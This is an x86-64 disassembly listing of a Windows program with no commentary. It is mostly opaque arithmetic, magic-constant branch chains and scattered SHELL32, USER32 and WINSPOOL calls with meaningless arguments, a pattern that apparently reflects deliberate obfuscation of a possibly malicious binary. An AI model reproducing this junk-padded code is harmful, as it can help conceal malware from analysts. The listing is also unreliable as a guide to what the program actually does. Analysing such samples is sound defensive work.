mov rax, qword [rsp + 0x6078]
mov qword [rsp + 0x6400], rax
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
mov dword [rsp + 0x36a8], eax
mov rax, qword [rsp + 0x6358]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3518]
sar eax, cl
mov dword [rsp + 0x3524], eax
lea rax, [rsp + 0x61e8]
mov qword [rsp + 0x6408], rax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x63e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x61e8]
mov qword [rsp + 0x6410], rax
cmp qword [rsp + 0x6410], 0
je 0x14000ae4e
jmp 0x14000af07
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401c02b7], al
movzx eax, word [rsp + 0xaa4]
mov word [rsp + 0xad0], ax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6388]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa8]
sub eax, ecx
mov word [rsp + 0xab0], ax
mov eax, dword [rsp + 0x35e8]
mov dword [rsp + 0x36b0], eax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov qword [rsp + 0x6418], rax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6400]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6180], rax
jmp 0x14000af97
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
add eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac0]
and eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
lea rcx, [rsp + 0x1d2f0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x35b8], eax
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac8], ax
mov rax, qword [rsp + 0x60f8]
mov r9, qword [rax]
mov r8, qword [rsp + 0x6400]
mov rdx, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x63a0]
call fcn.140142c60
nop
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x6408]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x61e8]
mov rdx, qword [rsp + 0x61c8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14000b042
lea rax, [rsp + 0xabc]
mov qword [rsp + 0x6420], rax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6418], rax
lea rax, [rsp + 0x35e8]
mov qword [rsp + 0x6428], rax
mov eax, dword [rsp + 0x3524]
movzx ecx, al
mov eax, dword [rsp + 0x3518]
sar eax, cl
mov dword [rsp + 0x3694], eax
mov rax, qword [rsp + 0x6208]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x63a0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6388]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
and eax, ecx
mov byte [0x1401c02b6], al
mov rax, qword [rsp + 0x6388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x63f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3698]
add eax, 0x77
mov dword [rsp + 0x3698], eax
movzx eax, word [rsp + 0xab8]
movzx ecx, word [rsp + 0xad0]
sub eax, ecx
mov rcx, qword [rsp + 0x6420]
mov word [rcx], ax
mov rax, qword [rsp + 0x6310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x63c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6408]
mov rcx, qword [rsp + 0x61f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x63a0], rax
mov rax, qword [rsp + 0x6348]
mov ecx, dword [0x1401c02b8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3524]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6358]
mov dword [rcx], eax
movzx eax, word [rsp + 0xac4]
movzx ecx, word [rsp + 0xaac]
add eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x63e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
movsx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x6310]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xac8], ax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x64], al
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x66], al
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x6248]
mov ecx, dword [rsp + 0x3660]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3588], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6400]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6350]
mov rcx, qword [rsp + 0x6418]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x36a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6380]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
sub eax, ecx
mov word [0x1401c02c8], ax
mov rax, qword [rsp + 0x63c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac0], ax
cmp dword [rsp + 0x3698], 0x8a26
jb 0x14000b042
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov byte [rsp + 0x65], al
movzx eax, word [rsp + 0xacc]
mov rcx, qword [rsp + 0x6360]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x63f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x66]
sub eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x6430], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6430]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6180], rax
mov rax, qword [rsp + 0x6418]
mov rcx, qword [rsp + 0x61c8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x36a0]
mov rcx, qword [rsp + 0x62e0]
mov qword [rsp + 0x6438], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6438]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x6268]
mov ecx, dword [rsp + 0x35c4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6268]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x65]
add eax, ecx
mov byte [0x1401c02b6], al
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
and eax, ecx
mov rcx, qword [rsp + 0x6388]
mov byte [rcx], al
movsx eax, word [rsp + 0xac8]
movsx ecx, word [rsp + 0xab4]
sub eax, ecx
mov word [rsp + 0xac0], ax
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xad0]
sub eax, ecx
mov rcx, qword [rsp + 0x6420]
mov word [rcx], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3588]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6248]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3648]
sub eax, 0x9d
mov dword [rsp + 0x3648], eax
mov rax, qword [rsp + 0x6408]
mov rcx, qword [rsp + 0x6350]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x6250]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6380]
mov ecx, dword [rsp + 0x36a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6310]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6310]
movsx eax, word [rax]
movsx ecx, word [0x1401c16d0]
xor eax, ecx
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
shl eax, cl
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6388]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x66], al
movsx eax, word [0x1401c16d0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa9c], ax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x36a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x6350]
mov rcx, qword [rsp + 0x62e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x60f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x63a0], rax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3660]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6348]
mov dword [rcx], eax
movzx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c02c8], ax
cmp dword [rsp + 0x3648], 0xe97b
ja 0x14000b2f0
mov rax, qword [0x1401c16e0]
mov rcx, qword [rsp + 0x61f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1401c16e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6360]
movzx eax, word [rax]
mov dword [rsp + 0x6020], eax
cmp dword [rsp + 0x6020], 0xfce
je 0x14014171a
jmp 0x140141734
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xab8]
xor eax, ecx
mov word [rsp + 0xaa0], ax
mov eax, dword [rsp + 0x3504]
movzx ecx, al
mov eax, dword [rsp + 0x3660]
shr eax, cl
mov dword [rsp + 0x3508], eax
mov rax, qword [rsp + 0x6310]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
shl eax, cl
mov rcx, qword [rsp + 0x6310]
mov word [rcx], ax
lea r9, [rsp + 0x1cfe0]
lea r8, [rsp + 0x62d0]
lea rdx, [rsp + 0xac8]
lea rcx, [rsp + 0x3518]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x36a4], eax
jmp 0x1401417be
mov rax, qword [rsp + 0x6398]
mov rcx, qword [rsp + 0x61e8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [0x1401c02d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
lea rcx, [rsp + 0x1d360]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x3614], eax
mov rax, qword [rsp + 0x62e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3518]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
jmp 0x14014196e
mov rax, qword [rsp + 0x6058]
mov qword [rsp + 0x1cf78], rax
movabs rax, 0x7aa71bf85b8a9c
cmp qword [rsp + 0x1cf78], rax
je 0x140141945
movabs rax, 0x7ca04d636b3e8d
cmp qword [rsp + 0x1cf78], rax
je 0x140141855
jmp 0x14014196e
mov rax, qword [rsp + 0x6360]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c02c8], ax
mov rax, qword [rsp + 0x6350]
mov rcx, qword [rsp + 0x62e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x61e8]
mov rdx, qword [0x1401c02c0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x140141933
lea rdx, [rsp + 0x62]
lea rcx, [rsp + 0x3524]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x1cf80], rax
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xac4]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x60], al
mov dword [rsp + 0x20], 0x82
lea r9, [rsp + 0x62a8]
mov r8, qword [rsp + 0x6280]
mov rdx, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x1cf88]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x3560], eax
jmp 0x140141943
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x65]
sub eax, ecx
mov byte [rsp + 0x67], al
jmp 0x14014196e
movzx r9d, word [0x1401c16d0]
mov rax, qword [rsp + 0x6208]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x6180]
movzx ecx, word [rsp + 0xab0]
call fcn.1401429f0
nop
lea rcx, [rsp + 0x1d100]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x6478], rax
movzx r9d, word [rsp + 0xab0]
mov r8, qword [rsp + 0x6078]
mov rdx, qword [rsp + 0x6180]
mov rax, qword [rsp + 0x6168]
movzx ecx, word [rax]
call fcn.1401429f0
nop
mov rax, qword [rsp + 0x61c8]
mov rcx, qword [rsp + 0x61f8]
mov qword [rsp + 0x1cf90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1cf90]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x62e8]
mov rdx, qword [rsp + 0x61e8]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x1401419f4
jmp 0x140141a28
movzx eax, byte [rsp + 0x66]
movzx ecx, byte [0x1401c16d2]
and eax, ecx
movzx ecx, byte [rsp + 0x64]
movzx edx, byte [rsp + 0x61]
sub ecx, edx
cmp eax, ecx
jle 0x140141a28
lea rcx, [rsp + 0x6208]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0x1cf98], rax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x6024], al
cmp byte [rsp + 0x6024], 0x7e
je 0x140141a40
jmp 0x140141a5c
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x67]
add eax, ecx
mov byte [rsp + 0x65], al
lea r9, [rsp + 0x60d8]
lea r8, [rsp + 0x6070]
lea rdx, [rsp + 0x6138]
mov rcx, qword [rsp + 0x6230]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x3610], eax
mov rax, qword [rsp + 0x6168]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x6180]
mov rax, qword [rsp + 0x6208]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6310]
movzx ecx, word [rax]
call fcn.1401429f0
nop
jmp 0x140141b8d
mov eax, dword [rsp + 0x3504]
mov dword [rsp + 0x6028], eax
cmp dword [rsp + 0x6028], 0x1928
je 0x140141af3
jmp 0x140141b0d
mov eax, dword [rsp + 0x350c]
movzx ecx, al
mov eax, dword [rsp + 0x3518]
shl eax, cl
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x6250]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6180], rax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x62e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
lea rax, [rsp + 0x61c8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xbf
mov r9d, 0xd4
mov r8d, 0x32
mov edx, 0xa0
mov rcx, qword [rsp + 0x1cfa0]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x35c4], eax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x65], al
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
mov rdx, qword [0x1401c16d8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x140141c9d
movzx eax, word [rsp + 0xaa4]
mov dword [rsp + 0x602c], eax
cmp dword [rsp + 0x602c], 0xa99
je 0x140141bf8
jmp 0x140141c8e
lea r9, [rsp + 0x6070]
lea r8, [rsp + 0x6210]
lea rdx, [rsp + 0x6268]
mov rcx, qword [rsp + 0x6370]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x3560], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab4], ax
lea rcx, [rsp + 0x6210]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa8]
add eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6248]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3588], eax
jmp 0x140141c9b
mov ecx, dword [rsp + 0x3524]
call fcn.1401427f0
nop
jmp 0x140141cea
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401c02c0]
mov rdx, qword [rsp + 0x61e8]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140141cea
lea rdx, [rsp + 0x1cfe0]
lea rcx, [rsp + 0x6178]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x353c], eax
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x350c]
sar eax, cl
mov dword [rsp + 0x3518], eax
jmp 0x140141d16
mov ecx, dword [rsp + 0x3518]
call fcn.1401427f0
nop
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x61e8], rax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xaac]
mov dword [rsp + 0x6030], eax
cmp dword [rsp + 0x6030], 0x954
je 0x140141dad
cmp dword [rsp + 0x6030], 0xd5f
je 0x140141d7b
jmp 0x140141dd0
movsx eax, word [0x1401c16d0]
movsx ecx, word [rsp + 0xab0]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xaa8]
sub ecx, edx
cmp eax, ecx
je 0x140141dab
call fcn.140143640
nop
jmp 0x140141dd0
mov r8d, 0xe3
lea rdx, [rsp + 0x369c]
lea rcx, [rsp + 0x6090]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x369c], eax
jmp 0x140141ebf
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x61]
mov rdx, qword [rsp + 0x6170]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x140141dff
jmp 0x140141e20
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6180]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6208]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6180]
mov qword [rsp + 0x1cfa8], rax
movabs rax, 0x71512edafdd548
cmp qword [rsp + 0x1cfa8], rax
je 0x140141e5a
movabs rax, 0x78eba71b084875
cmp qword [rsp + 0x1cfa8], rax
je 0x140141eab
jmp 0x140141ebf
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x6250]
mov r9, qword [rax]
mov r8, qword [rsp + 0x6180]
mov rax, qword [rsp + 0x6250]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rax]
call fcn.140142c60
nop
jmp 0x140141ebf
mov rcx, qword [rsp + 0x1cfb0]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x35b8], eax
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [rsp + 0xab0]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
jmp 0x140141f65
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61e8], rax
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
lea r9, [rsp + 0xab0]
mov r8d, ILGetNext
lea rdx, [rsp + 0x6080]
mov rcx, qword [rsp + 0x6240]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x3670], eax
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6168]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x60f8]
mov r8, qword [rax]
mov rax, qword [rsp + 0x6250]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6168]
movzx ecx, word [rax]
call fcn.1401429f0
nop
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rsp + 0x6108], rax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3508]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3588], eax
mov rax, qword [rsp + 0x61c8]
mov rcx, qword [rsp + 0x61e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
jmp 0x1401420e1
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x60]
sar eax, cl
movsx ecx, byte [rsp + 0x65]
mov rdx, qword [rsp + 0x61d0]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x1401420e1
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x60]
and ecx, edx
cmp eax, ecx
jge 0x140142040
jmp 0x140142069
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsGUIThread]
mov dword [rsp + 0x35b8], eax
mov eax, dword [rsp + 0x3524]
movzx ecx, al
mov eax, dword [rsp + 0x350c]
sar eax, cl
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov dword [rsp + 0x6034], eax
cmp dword [rsp + 0x6034], 0x7e9
je 0x14014208a
jmp 0x1401420c5
mov rax, qword [rsp + 0x61d0]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x61c8]
mov rax, qword [rsp + 0x61c0]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x60f8]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x60]
call fcn.140143410
nop
jmp 0x1401420e1
mov eax, dword [0x1401c02b8]
movzx ecx, al
mov eax, dword [rsp + 0x351c]
shl eax, cl
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xaa0]
and eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
movzx eax, byte [rsp + 0x63]
movzx ecx, byte [rsp + 0x61]
sub eax, ecx
movzx ecx, byte [rsp + 0x64]
mov rdx, qword [rsp + 0x61c0]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x140142160
movabs rax, 0x7c6340402df84c
mov rcx, qword [0x1401c02c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov byte [rsp + 0x6038], al
cmp byte [rsp + 0x6038], 0x45
je 0x14014217e
jmp 0x140142180
jmp 0x14014219c
lea rdx, str.township_Snares
mov rcx, qword [rsp + 0x6198]
call qword [sym.imp.USER32.dll_SetWindowTextW]
mov dword [rsp + 0x603c], eax
mov rax, qword [rsp + 0x6098]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x60f8]
mov r8, qword [rax]
mov rax, qword [rsp + 0x60f8]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0xa9c]
call fcn.1401429f0
nop
jmp 0x1401422c7
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xab0]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x6168]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x1401422a0
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x6040], al
cmp byte [rsp + 0x6040], 0x8e
je 0x140142225
cmp byte [rsp + 0x6040], 0x91
je 0x140142282
jmp 0x14014229e
mov r8d, ILIsEqual
lea rdx, [rsp + 0x1d050]
mov rcx, qword [rsp + 0x6120]
call qword [sym.imp.USER32.dll_RealGetWindowClassW]
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x6118]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [0x1401c02c0]
movzx r8d, byte [rsp + 0x61]
mov rax, qword [rsp + 0x60f8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6118]
movzx ecx, byte [rax]
call fcn.140143410
nop
jmp 0x14014229e
